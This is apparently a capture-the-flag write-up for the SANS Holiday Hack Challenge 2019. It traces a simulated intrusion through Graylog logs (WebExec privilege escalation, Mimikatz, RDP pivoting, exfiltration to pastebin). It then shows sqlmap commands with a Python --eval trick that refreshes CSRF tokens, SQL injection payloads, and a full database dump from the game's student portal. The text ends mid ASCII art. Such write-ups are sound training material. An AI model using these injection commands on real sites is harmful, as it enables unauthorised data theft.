<p align="center"><a href="/images/hh19-113.png"><img src="/images/hh19-113.png" /></a></p>
<p>Onto question #3!</p>
<p align="center"><a href="/images/hh19-114.png"><img src="/images/hh19-114.png" /></a></p>
<p>Alright, this one seems to be straight forward, we just need to see what kind of command was executed from the executable.</p>
<p>We can reuse our old search query, but this time we will remove the event id, and search for any events that have the <strong>cookie_recipe.exe</strong> file as the <strong>ParentProcessImage</strong>, because remember commands executed by this will spawn either cmd.exe or powershell.exe.</p>
<p align="center"><a href="/images/hh19-115.png"><img src="/images/hh19-115.png" /></a></p>
<p>Once we have our events, make sure we sort by oldest time to find the first command executed. If we do some digging, we will find the third event shows the command executed by the attacker.</p>
<p align="center"><a href="/images/hh19-116.png"><img src="/images/hh19-116.png" /></a></p>
<p>Knowing this, let’s answer the third question!</p>
<p align="center"><a href="/images/hh19-117.png"><img src="/images/hh19-117.png" /></a></p>
<p>Onto question #4! We are on fire!</p>
<p align="center"><a href="/images/hh19-118.png"><img src="/images/hh19-118.png" /></a></p>
<p>Alright, so for this one it seems the attacker escalated privileges, and we need to figure out the service used. Service? Hmm…. this sound lile an exploit to me.</p>
<p>If we keep looking though the commands executed by the attacker, we will see that they downloaded a new binary called <strong>cookie_recipe2.exe</strong>.</p>
<p align="center"><a href="/images/hh19-119.png"><img src="/images/hh19-119.png" /></a></p>
<p>If we look a little further into the events, we will see that the attacker used <code class="language-plaintext highlighter-rouge">webexservice</code> to execute the binary.</p>
<p align="center"><a href="/images/hh19-120.png"><img src="/images/hh19-120.png" /></a></p>
<p>Doing some Googling, we find that this service seemed to be the <a href="https://webexec.org/">WebExec Exploit</a> also known as <a href="https://www.exploit-db.com/exploits/46479">CVE-2019-1647</a>. This exploit utilized a Windows service called WebExService that can execute arbitrary commands at SYSTEM-level privilege. Due to poor <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists">ACLs</a>, any local or domain user can start the process over Window’s remote service interface.</p>
<p>If we look at the <strong>cookie_reccpie2.exe</strong> for network connections, we can confirm that this was the exploit used to escalate privileges as the user privileges returned for this connection were that of <code class="language-plaintext highlighter-rouge">NT AUTHORITY\SYSTEM</code>.</p>
<p align="center"><a href="/images/hh19-121.png"><img src="/images/hh19-121.png" /></a></p>
<p align="center"><a href="/images/hh19-122.png"><img src="/images/hh19-122.png" /></a></p>
<p>With that, let’s answer the question!</p>
<p align="center"><a href="/images/hh19-123.png"><img src="/images/hh19-123.png" /></a></p>
<p>Onto question #5!</p>
<p align="center"><a href="/images/hh19-124.png"><img src="/images/hh19-124.png" /></a></p>
<p>Alright, so for the next question we need to figure out what binary the attacker used to dump credentials. I already have a really good guess, but let’s look for it.</p>
<p>Since we know that the <strong>cookie_recipe2.exe</strong> binary was running as System, let’s use that and search for events that have that binary as it’s <strong>ParentProcessImage</strong>.</p>
<p align="center"><a href="/images/hh19-125.png"><img src="/images/hh19-125.png" /></a></p>
<p>Looking through the events, and around the same time frame the connection was made as System - around 5:41 - we can see the attacker downloaded <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a> and saved it as <strong>cookie.exe</strong>.</p>
<p align="center"><a href="/images/hh19-126.png"><img src="/images/hh19-126.png" /></a></p>
<p>4 minutes later, we can see the attacker executing mimikatz.</p>
<p align="center"><a href="/images/hh19-127.png"><img src="/images/hh19-127.png" /></a></p>
<p>With that confirmation, let’s answer the question!</p>
<p align="center"><a href="/images/hh19-128.png"><img src="/images/hh19-128.png" /></a></p>
<p>Easy! Now onto question #6!</p>
<p align="center"><a href="/images/hh19-129.png"><img src="/images/hh19-129.png" /></a></p>
<p>So it seems that the attacker successful dumped passwords from the system and pivoted to another machine with those credentials.</p>
<p>If we look at all our previous events, we see the source of all events is from <strong>elfu-res-wks1</strong> which seems to be Minty’s machine. So what we can do is search for all events with that source, and also look for <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624">Event ID 4624</a> which is generated when a logon session is created on the machine.</p>
<p align="center"><a href="/images/hh19-130.png"><img src="/images/hh19-130.png" /></a></p>
<p>After digging though the first few events, we will see the following event with a new Account Name.</p>
<p align="center"><a href="/images/hh19-131.png"><img src="/images/hh19-131.png" /></a></p>
<p>Okay, it seems Alabaster’s account was compromised. So with that, let’s answer the question!</p>
<p align="center"><a href="/images/hh19-132.png"><img src="/images/hh19-132.png" /></a></p>
<p>Perfect! Now onto question #7!</p>
<p align="center"><a href="/images/hh19-133.png"><img src="/images/hh19-133.png" /></a></p>
<p>For this question we need to figure out what time in the <code class="language-plaintext highlighter-rouge">HH:MM:SS</code> format did the attacker make a RDP connection to another machine.</p>
<p>What we need to do is look for logon types. <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4624">Event ID 4624</a> dictates a successful logon, but it also contains the logon type which tells us HOW the user just logged onto a system.</p>
<p>Looking into the Logon Type table, we will see the following.</p>
<p align="center"><a href="/images/hh19-134.png"><img src="/images/hh19-134.png" /></a></p>
<p>Right away, we see that Logon Type <strong>10</strong> is for Remote Desktop. So let’s search for all events with that type.</p>
<p align="center"><a href="/images/hh19-135.png"><img src="/images/hh19-135.png" /></a></p>
<p>If we take a look into the first event, we will see Alabaster making an RDP connection to <code class="language-plaintext highlighter-rouge">elfu-res-wks2</code> at <code class="language-plaintext highlighter-rouge">06:04:28</code>.</p>
<p align="center"><a href="/images/hh19-136.png"><img src="/images/hh19-136.png" /></a></p>
<p>With that information, let’s answer our question!</p>
<p align="center"><a href="/images/hh19-137.png"><img src="/images/hh19-137.png" /></a></p>
<p>Oh yah, we’re doing great! Onto question #8!</p>
<p align="center"><a href="/images/hh19-138.png"><img src="/images/hh19-138.png" /></a></p>
<p>Okay, so it seems that from <code class="language-plaintext highlighter-rouge">elfu-res-wks2</code> the attacker used Alabaster’s account to navigate a file system for a third host using the RDP connection. We need to figure out what the source host name is, the destination host name, and logon type.</p>
<p>Well if we look back into the Logon Type table, we will see that logon type <strong>3</strong> is a network logon (i.e connection to shared folder). All we need to do is search for Logon Type 3 with source IP of machine we are RDP’d into.</p>
<p align="center"><a href="/images/hh19-139.png"><img src="/images/hh19-139.png" /></a></p>
<p>If we look at the first event, we will see a new source name of <code class="language-plaintext highlighter-rouge">elfu-res-wks3</code>. Which should help us answer our question!</p>
<p align="center"><a href="/images/hh19-140.png"><img src="/images/hh19-140.png" /></a></p>
<p align="center"><a href="/images/hh19-140-2.png"><img src="/images/hh19-140-2.png" /></a></p>
<p>Awesome, so we got that one! Onto question #9!</p>
<p align="center"><a href="/images/hh19-141.png"><img src="/images/hh19-141.png" /></a></p>
<p>We’re nearing the end of this challenge, finally! For this incident question we need to figure out the full path name and filename of the secret research document that was transferred from the third host.</p>
<p>We can simply look for this by searching for all events with the <strong>source</strong> of <code class="language-plaintext highlighter-rouge">elfu-res-wks2</code> - which was the system the attacker was RDP’d into - and look for any <strong>ParentProcessImage</strong> that contained <code class="language-plaintext highlighter-rouge">Explorer.exe</code> which is what windows uses to house all application windows.</p>
<p align="center"><a href="/images/hh19-142.png"><img src="/images/hh19-142.png" /></a></p>
<p>After executing that search, we see only 1 event and can see that the attacker uploaded a file called <code class="language-plaintext highlighter-rouge">super_secret_elfu_research.pdf</code> to pastebin!</p>
<p align="center"><a href="/images/hh19-142-3.png"><img src="/images/hh19-142-3.png" /></a></p>
<p>Awesome, so we have our answer to this question.</p>
<p align="center"><a href="/images/hh19-142-4.png"><img src="/images/hh19-142-4.png" /></a></p>
<p>Last question!</p>
<p align="center"><a href="/images/hh19-143.png"><img src="/images/hh19-143.png" /></a></p>
<p>For this one we simply need the IPv4 address of where the document was exfiltrated to. We know that it was uploaded to <code class="language-plaintext highlighter-rouge">pastebin.com</code> so let’s look for that in the <strong>DestinationHostName</strong> variable.</p>
<p align="center"><a href="/images/hh19-144.png"><img src="/images/hh19-144.png" /></a></p>
<p align="center"><a href="/images/hh19-144-2.png"><img src="/images/hh19-144-2.png" /></a></p>
<p>Upon entering the IP of <code class="language-plaintext highlighter-rouge">104.22.3.84</code> into our question, we complete the challenge!</p>
<p align="center"><a href="/images/hh19-145.png"><img src="/images/hh19-145.png" /></a></p>
<h3 id="retrieve-scraps-of-paper-from-server">Retrieve Scraps of Paper from Server</h3>
<p>Upon successfully completing the Graylog terminal, we can talk to Pepper again for more hints that will allow us to complete the next objective.</p>
<p align="center"><a href="/images/hh19-146.png"><img src="/images/hh19-146.png" /></a></p>
<p>For this challenge we need to gain access to the data on the <a href="https://studentportal.elfu.org/">Student Portal</a> server and retrieve the paper scraps hosted there.</p>
<p>Pepper also gives us hints on <a href="https://pen-testing.sans.org/blog/2017/10/13/sqlmap-tamper-scripts-for-the-win">Sqlmap Tamper Scripts</a> and <a href="https://www.owasp.org/index.php/SQL_Injection">SQL Injection from OWASP</a>, so instantly we know this a SQL challenge.</p>
<p>Upon accessing the Student Portal, we are presented with the following page.</p>
<p align="center"><a href="/images/hh19-147.png"><img src="/images/hh19-147.png" /></a></p>
<p>After navigating around the page, we see a “<strong>Check Application Status</strong>” page that accepts an email. Since we got SQL hints, let’s try entering a valid email with a single quote to see if we get an error.</p>
<p>For this case, I enter <code class="language-plaintext highlighter-rouge">test'@test.com</code> and press “<strong>CHECK STATUS</strong>”. Upon sending the request, we get the following response.</p>
<p align="center"><a href="/images/hh19-148.png"><img src="/images/hh19-148.png" /></a></p>
<p>Awesome, so it seems we found our SQL injection point! So let’s redo this request, but this time let’s capture it in Burp Suite.</p>
<p align="center"><a href="/images/hh19-149.png"><img src="/images/hh19-149.png" /></a></p>
<p>Right away after capturing the request we notice something odd. Take a look at the <code class="language-plaintext highlighter-rouge">token</code> parameter in the URL, this seems to be CSRF token!</p>
<p>This can pose some issues for us we attempt to use a tool like <a href="http://sqlmap.org/">sqlmap</a>, since if the token expires, the tool won’t work as all pages will return an error code.</p>
<p>Alright, well let’s see if we can figure out how this CSRF token is generated. If we look into the <code class="language-plaintext highlighter-rouge">check.php</code> source code in the browser, we notice an interesting URL.</p>
<p align="center"><a href="/images/hh19-150.png"><img src="/images/hh19-150.png" /></a></p>
<p>If we navigate to that URL, we will notice that a new CSRF token is generated for us!</p>
<p align="center"><a href="/images/hh19-151.png"><img src="/images/hh19-151.png" /></a></p>
<p>Okay awesome, now that we have a valid URL that generated the CSRF tokens for us, we can use sqlmap along with it’s <code class="language-plaintext highlighter-rouge">csrf-token</code> and <code class="language-plaintext highlighter-rouge">csrf-url</code> parameters to validate a new token for each request.</p>
<p><strong>Note</strong>: You can read more on these option on the <a href="https://github.com/sqlmapproject/sqlmap/wiki/Usage">sqlmap wiki</a>.</p>
<p>Our command should look like the following:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH#</span><span class="w"> </span>sqlmap <span class="nt">-u</span> <span class="s2">"https://studentportal.elfu.org/application-check.php?elfmail=test%27%40test.com&token=MTAwOTg3ODQwMTI4MTU3NzkzNTAwMjEwMDk4Nzg0MC4xMjg%3D_MTI5MjY0NDM1MzYzODQzMjMxNjEwODg0LjA5Ng%3D%3D"</span> <span class="nt">--csrf-token</span><span class="o">=</span>token <span class="nt">--csrf-url</span><span class="o">=</span><span class="s2">"https://studentportal.elfu.org/validator.php"</span> <span class="nt">--dbms</span><span class="o">=</span>mysql <span class="nt">--level</span><span class="o">=</span>3 <span class="nt">--risk</span><span class="o">=</span>3
<span class="go"> ___
__H__
</span><span class="gp"> ___ ___[(]_____ ___ ___ {1.3#</span>stable<span class="o">}</span>
<span class="go">|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:38:21 /2020-01-01/
[22:38:22] [INFO] testing connection to the target URL
[22:38:22] [CRITICAL] anti-CSRF token 'token' can't be found at 'https://studentportal.elfu.org/validator.php'
</span></code></pre></div></div>
<p>Right away we see that there is an issue with the <code class="language-plaintext highlighter-rouge">token</code> parameter as it can’t be found.</p>
<p>After a few trial and error attempts, I opted to use sqlmap’s <code class="language-plaintext highlighter-rouge">eval</code> command which can be used to evaluate custom python code before the request is sent.</p>
<p>So, what we can do is write a custom python script that will get the CSRF token from the URL and replace that in the <code class="language-plaintext highlighter-rouge">token</code> parameter.</p>
<p>First, let’s test to see if we can read the CSRF token using Python.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH#</span><span class="w"> </span>python3
<span class="go">Python 3.6.8 (default, Jan 3 2019, 03:42:36)
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
</span><span class="gp">></span><span class="o">>></span> import urllib.request
<span class="gp">></span><span class="o">>></span> page <span class="o">=</span> urllib.request.urlopen<span class="o">(</span><span class="s1">'https://studentportal.elfu.org/validator.php'</span><span class="o">)</span>
<span class="gp">></span><span class="o">>></span> print<span class="o">(</span>page.read<span class="o">())</span>
<span class="go">b'MTAwOTg3OTQ3ODQwMTU3NzkzNjY4NTEwMDk4Nzk0Ny44NA==_MTI5MjY0NTczMjM1MjAzMjMxNjE0MzMwLjg4'
</span></code></pre></div></div>
<p>Awesome, so we got that working. All that’s left to do is incorporate this code into sqlmap, and execute it! Just note that since the urllib request is in bytes, we decode it in UTF-8.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH#</span><span class="w"> </span>sqlmap <span class="nt">-u</span> <span class="s2">"https://studentportal.elfu.org/application-check.php?elfmail=test%40test.com&token=MTAwOTkxMTQ2MzA0MTU3Nzk4NjY2MTEwMDk5MTE0Ni4zMDQ%3D_MTI5MjY4NjY3MjY5MTIzMjMxNzE2NjgxLjcyOA%3D%3D"</span> <span class="nt">--eval</span><span class="o">=</span><span class="s2">"import urllib.request;import urllib.parse;page = urllib.request.urlopen('https://studentportal.elfu.org/validator.php');tk = (page.read()).decode('utf-8');token = tk"</span> <span class="nt">--dbms</span><span class="o">=</span>mysql <span class="nt">--level</span><span class="o">=</span>3 <span class="nt">--risk</span><span class="o">=</span>3
<span class="go"> ___
__H__
</span><span class="gp"> ___ ___[(]_____ ___ ___ {1.3.12#</span>stable<span class="o">}</span>
<span class="go">|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:48:03 /2020-01-02/
GET parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[12:48:05] [INFO] testing connection to the target URL
[12:48:05] [INFO] testing if the target URL content is stable
[12:48:05] [INFO] target URL content is stable
[12:48:05] [INFO] testing if GET parameter 'elfmail' is dynamic
[12:48:06] [WARNING] GET parameter 'elfmail' does not appear to be dynamic
[12:48:06] [INFO] heuristic (basic) test shows that GET parameter 'elfmail' might be injectable (possible DBMS: 'MySQL')
[12:48:07] [INFO] heuristic (XSS) test shows that GET parameter 'elfmail' might be vulnerable to cross-site scripting (XSS) attacks
[12:48:07] [INFO] testing for SQL injection on GET parameter 'elfmail'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) value? [Y/n] n
---snip---
GET parameter 'elfmail' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 312 HTTP(s) requests:
---
Parameter: elfmail (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: elfmail=test@test.com' OR NOT 4006=4006-- LbnX&token=MTAwOTkxMTQ2MzA0MTU3Nzk4NjY2MTEwMDk5MTE0Ni4zMDQ=_MTI5MjY4NjY3MjY5MTIzMjMxNzE2NjgxLjcyOA==
Type: error-based
</span><span class="gp"> Title: MySQL ></span><span class="o">=</span> 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause <span class="o">(</span>FLOOR<span class="o">)</span>
<span class="go"> Payload: elfmail=test@test.com' OR (SELECT 3470 FROM(SELECT COUNT(*),CONCAT(0x716a767071,(SELECT (ELT(3470=3470,1))),0x7170767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- KGEd&token=MTAwOTkxMTQ2MzA0MTU3Nzk4NjY2MTEwMDk5MTE0Ni4zMDQ=_MTI5MjY4NjY3MjY5MTIzMjMxNzE2NjgxLjcyOA==
Type: time-based blind
</span><span class="gp"> Title: MySQL ></span><span class="o">=</span> 5.0.12 AND time-based blind <span class="o">(</span>query SLEEP<span class="o">)</span>
<span class="go"> Payload: elfmail=test@test.com' AND (SELECT 9908 FROM (SELECT(SLEEP(5)))ePeY)-- LstD&token=MTAwOTkxMTQ2MzA0MTU3Nzk4NjY2MTEwMDk5MTE0Ni4zMDQ=_MTI5MjY4NjY3MjY5MTIzMjMxNzE2NjgxLjcyOA==
---
[12:52:56] [INFO] the back-end DBMS is MySQL
</span><span class="gp">back-end DBMS: MySQL ></span><span class="o">=</span> 5.0
<span class="go">[12:52:56] [INFO] fetched data logged to text files under '/root/.sqlmap/output/studentportal.elfu.org'
[*] ending @ 12:52:56 /2020-01-02/
</span></code></pre></div></div>
<p>After some time, we see that the email field is indeed vulnerable and we can exploit it! Now we need to access the data on the server or in this case the “paper scraps” that are hosted there.</p>
<p>Let’s see all the data stored in the SQL database by using the <code class="language-plaintext highlighter-rouge">--dump-all</code> command.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH#</span><span class="w"> </span>sqlmap <span class="nt">-u</span> <span class="s2">"https://studentportal.elfu.org/application-check.php?elfmail=test%40test.com&token=MTAwOTkxMTQ2MzA0MTU3Nzk4NjY2MTEwMDk5MTE0Ni4zMDQ%3D_MTI5MjY4NjY3MjY5MTIzMjMxNzE2NjgxLjcyOA%3D%3D"</span> <span class="nt">--eval</span><span class="o">=</span><span class="s2">"import urllib.request;import urllib.parse;page = urllib.request.urlopen('https://studentportal.elfu.org/validator.php');tk = (page.read()).decode('utf-8');token = tk"</span> <span class="nt">--dbms</span><span class="o">=</span>mysql <span class="nt">--level</span><span class="o">=</span>3 <span class="nt">--risk</span><span class="o">=</span>3 <span class="nt">--dump-all</span>
<span class="go"> ___
__H__
</span><span class="gp"> ___ ___[(]_____ ___ ___ {1.3.12#</span>stable<span class="o">}</span>
<span class="go">|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:59:04 /2020-01-02/
GET parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[12:59:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: elfmail (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: elfmail=test@test.com' OR NOT 4006=4006-- LbnX&token=MTAwOTkxMTQ2MzA0MTU3Nzk4NjY2MTEwMDk5MTE0Ni4zMDQ=_MTI5MjY4NjY3MjY5MTIzMjMxNzE2NjgxLjcyOA==
Type: error-based
</span><span class="gp"> Title: MySQL ></span><span class="o">=</span> 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause <span class="o">(</span>FLOOR<span class="o">)</span>
<span class="go"> Payload: elfmail=test@test.com' OR (SELECT 3470 FROM(SELECT COUNT(*),CONCAT(0x716a767071,(SELECT (ELT(3470=3470,1))),0x7170767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- KGEd&token=MTAwOTkxMTQ2MzA0MTU3Nzk4NjY2MTEwMDk5MTE0Ni4zMDQ=_MTI5MjY4NjY3MjY5MTIzMjMxNzE2NjgxLjcyOA==
Type: time-based blind
</span><span class="gp"> Title: MySQL ></span><span class="o">=</span> 5.0.12 AND time-based blind <span class="o">(</span>query SLEEP<span class="o">)</span>
<span class="go"> Payload: elfmail=test@test.com' AND (SELECT 9908 FROM (SELECT(SLEEP(5)))ePeY)-- LstD&token=MTAwOTkxMTQ2MzA0MTU3Nzk4NjY2MTEwMDk5MTE0Ni4zMDQ=_MTI5MjY4NjY3MjY5MTIzMjMxNzE2NjgxLjcyOA==
---
[12:59:06] [INFO] testing MySQL
[12:59:06] [INFO] confirming MySQL
[12:59:07] [WARNING] reflective value(s) found and filtering out
[12:59:07] [INFO] the back-end DBMS is MySQL
</span><span class="gp">back-end DBMS: MySQL ></span><span class="o">=</span> 5.0.0 <span class="o">(</span>MariaDB fork<span class="o">)</span>
<span class="go">[12:59:07] [INFO] sqlmap will dump entries of all tables from all databases now
Database: elfu
Table: students
[9 entries]
+----+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------+----------------------------+----------------+
| id | bio | name | degree | student_number |
+----+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------+----------------------------+----------------+
| 1 | My goal is to be a happy elf! | Elfie | Raindeer Husbandry | 392363902026 |
| 2 | I'm just a elf. Yes, I'm only a elf. And I'm sitting here on Santa's sleigh, it's a long, long journey To the christmas tree. It's a long, long wait while I'm tinkering in the factory. But I know I'll be making kids smile on the holiday... At least I hope and pray that I will But today. I'm still ju | Elferson | Dreamineering | 39210852026 |
| 3 | Have you seen my list??? It is pretty high tech! | Alabaster Snowball | Geospatial Intelligence | 392363902026 |
| 4 | I am an engineer and the inventor of Santa's magic toy-making machine. | Bushy Evergreen | Composites and Engineering | 392363902026 |
| 5 | My goal is to be a happy elf! | Wunorse Openslae | Toy Design | 39236372526 |
| 6 | My goal is to be a happy elf! | Bushy Evergreen | Present Wrapping | 392363128026 |
| 7 | Check out my makeshift armour made of kitchen pots and pans!!! | Pepper Minstix | Reindeer Husbandry | 392363902026 |
| 8 | My goal is to be a happy elf! | Sugarplum Mary | Present Wrapping | 5682168522137 |
| 9 | Santa and I are besties for life!!! | Shinny Upatree | Holiday Cheer | 228755779218 |
+----+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------+----------------------------+----------------+
Database: elfu
Table: krampus
[6 entries]
+----+-----------------------+
| id | path |
+----+-----------------------+
| 1 | /krampus/0f5f510e.png |
| 2 | /krampus/1cc7e121.png |
| 3 | /krampus/439f15e6.png |
| 4 | /krampus/667d6896.png |
| 5 | /krampus/adb798ca.png |
| 6 | /krampus/ba417715.png |
+----+-----------------------+
</span></code></pre></div></div>
<p>Right away we see a table called <code class="language-plaintext highlighter-rouge">krampus</code> which stores specific images with a corresponding URL. If we browse to one of the images, we notice that it’s a paper scrap!</p>
<p align="center"><a href="/images/hh19-152.png"><img src="/images/hh19-152.png" /></a></p>
<p>So, let’s grab all the images and download them. Upon doing so we can use photoshop to combine the images and we are presented with the following image.</p>
<p align="center"><a href="/images/hh19-153.png"><img src="/images/hh19-153.png" /></a></p>
<p>After reading the letter we learn that Santa’s cutting-edge sleigh guidance system is called <strong>Super Sled-o-matic</strong>.</p>
<p>Once we know this, we can then navigate to the ninth objective in our badge and enter <code class="language-plaintext highlighter-rouge">Super Sled-o-matic</code> to complete the objective!</p>
<p align="center"><a href="/images/hh19-154.png"><img src="/images/hh19-154.png" /></a></p>
<h2 id="objective-10">Objective 10</h2>
<h3 id="mongo-pilfer---cranpi">Mongo Pilfer - CranPi</h3>
<p>From Pepper in the Dorm area, we return back to Hermey Hall and enter the NetWars room where we will find Holly Evergreen!</p>
<p align="center"><a href="/images/hh19-155.png"><img src="/images/hh19-155.png" /></a></p>
<p>Upon talking with Holly, we learn that her teacher has been locked out of the quiz database, and we need to gain access to the database so quizzes can be graded.</p>
<p align="center"><a href="/images/hh19-156.png"><img src="/images/hh19-156.png" /></a></p>
<p>We also learn from Holly that we will need to know a little bit about Mongo, so she provides us with a hint for the <a href="https://docs.mongodb.com/manual/reference/command/listDatabases/#dbcmd.listDatabases">MongoDB Documentation</a>.</p>
<p>After reading through the documentation and familiarizing yourself with it, we can access the terminal and are presented with the following:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">'...',...'::'''''''''cdc,',,,,,,,cxo;</span>,,,,,,,,:dl<span class="p">;</span>,<span class="p">;;</span>:<span class="p">;;;;;</span>l:<span class="p">;;;</span>cx:<span class="p">;;</span>:::::lKXkc::
<span class="gp">oc;</span><span class="s1">''</span>.<span class="s1">',coddol;'''</span><span class="p">;</span>ldxxxxoc,,,:oxkkOkdc<span class="p">;</span>,<span class="p">;</span>:oxOOOkdc<span class="p">;;;</span>:lxO0Oxl<span class="p">;;;;</span>:lxOko::::::cd
<span class="go">ddddocodddddddxxoxxxxxkkkkkkxkkkkOOOOOOOxkOOOOOOO00Oxk000000000xdk00000K0kllxOKK
coddddxxxo::ldxxxxxxdl:cokkkkkOkxl:lxOOOOOOOkdlok0000000Oxok00000000OkO0KKKKKKKK
</span><span class="gp">'',:ldl:,'''',;</span>ldoc<span class="p">;</span>,,,,,,:oxdc<span class="p">;</span>,,,<span class="p">;;;</span>cdOxo:<span class="p">;;;;;</span>:ok0kdc<span class="p">;;;;</span>:ok00kdc:::lx0KK0xoc
<span class="gp">oc,''''';</span>cddl:,,,,,<span class="p">;</span>cdkxl:,,,,,<span class="p">;</span>lxOxo:<span class="p">;;;;;</span>:ldOxl:<span class="p">;;</span>:<span class="p">;;</span>:ldkoc<span class="p">;;</span>::<span class="p">;;</span>:oxo:::ll::co
<span class="go">xxxdl:ldxxxxkkxocldkkkkkkkkocoxOOOOOOOkdcoxO000000kocok000000kdccdk00000ko:cdk00
oxxxxxxxxkddxkkkkkkkkkdxkkkkOOOOOOxOOOOO00OO0Ok0000000000OO0000000000O0000000000
</span><span class="gp">',:oxkxoc;</span>,,,:oxkkxo:,,,<span class="p">;</span>ldkOOkdc<span class="p">;;;</span>cok000Odl:<span class="p">;</span>:lxO000kdc::cdO0000xoc:lxO0000koc
<span class="gp">l;</span><span class="s1">''</span>,<span class="p">;</span>,,,<span class="p">;</span>lo:,,,<span class="p">;;</span>,,<span class="p">;</span>col:<span class="p">;;;</span>c:<span class="p">;;;</span>col:<span class="p">;;</span>:lc<span class="p">;;</span>:loc:<span class="p">;</span>:co::<span class="p">;</span>:oo:<span class="p">;;</span>col:<span class="p">;</span>:lo:::ldl:::l
<span class="gp">kkxo:,:lxkOOOkdc;</span><span class="p">;</span>ldOOOOOkdc<span class="p">;</span>:lxO0000ko:<span class="p">;</span>:oxO000Oxl::cdk0000koc::ox0KK0ko::cok0K
<span class="go">kkkkOkOOOOOkOOOOOOOOOOOOOOOOOO0000000000O0000000000000000000000O000KKKKKK0OKKKKK
</span><span class="gp">,:lxOOOOxl:,:okOOOOkdl;</span>:lxO0000Oxl:cdk00000Odlcok000000koclxO00000OdllxOKKKK0kol
<span class="gp">l;</span>,,<span class="p">;</span>lc<span class="p">;</span>,,<span class="p">;</span>c<span class="p">;</span>,,<span class="p">;</span>lo:<span class="p">;;;</span>cc<span class="p">;;;</span>cdoc<span class="p">;;;</span>l:<span class="p">;;</span>:oxoc::cc:::lxxl:::l:::cdxo:::lc::ldxoc:cl
<span class="gp">KKOd:,;</span>cdOXXXOdc<span class="p">;;</span>:okKXXKko:<span class="p">;;</span>cdOXNNKxl:::lkKNNXOo:::cdONNN0xc:::oOXNN0xc::cx0NW
<span class="go">XXXXX0KXXXXXXXXXK0XXXXXXNNNX0KNNNNNNNNNX0XNNNNNNNNN0KNNNNNNNNNK0NNNNNNNWNKKWWWWW
:lxKXXXXXOdcokKXXXXNKkolxKNNNNNN0xldOXNNNNNXOookXNNNNWN0xokKNNNNNNKxoxKWWNWWXOod
</span><span class="gp">:;</span>,,cdxl<span class="p">;</span>,<span class="p">;</span>:<span class="p">;;;</span>cxOdc<span class="p">;;</span>::<span class="p">;;</span>:dOOo:<span class="p">;</span>:c:::lk0xl::cc::lx0ko:::c::cd0Odc::c::cx0ko::lc
<span class="gp">OOxl:,,;</span>cdk0Oxo:<span class="p">;;;</span>:ok00Odl:<span class="p">;;</span>:lxO00koc:::ldO00kdl:::cok0KOxl:::cok0KOxl:::lx0KK
<span class="go">00000kxO00000000OxO000000000kk000000000Ok0KK00KKKK0kOKKKKKKKK0kOKKKKKKKK0k0KKKKK
:cok00000OxllxO000000koldO000000Odlok0KKKKKOxoox0KKKKK0koox0KKKKK0xoox0KKKKKkdld
</span><span class="gp">;</span>:,,:oxoc<span class="p">;;;;;;</span>cokdl:<span class="p">;;</span>:<span class="p">;;</span>coxxoc::c:::lxkdc::c:::ldkdl::cc::ldkdl::lc::lxxoc:loc
<span class="gp">OOkdc;</span><span class="p">;;</span>:oxOOkoc<span class="p">;;;</span>:lxO0Odl:<span class="p">;</span>::lxO00koc:::lxO00kdl:::lxO00Odl::cox0KKOdl:cox0KK0
<span class="go">OOOOOOxk00000000Oxk000000000kk000000000Ok0KK0000KK0k0KKKKKKKK0OKKKKKKKKK00KKK0KK
c:ldOOOO0Oxoldk000000koldk000000kdlox0000K0OdloxOKK0K0kdlox0KKKK0xocok0KKK0xocld
</span><span class="gp">;</span>l:<span class="p">;;</span>cooc<span class="p">;;;</span>c:<span class="p">;</span>:lddl:<span class="p">;</span>:c:::ldxl:::lc::cdxo::coc::cddl::col::cddl:codlccldlccoxdc
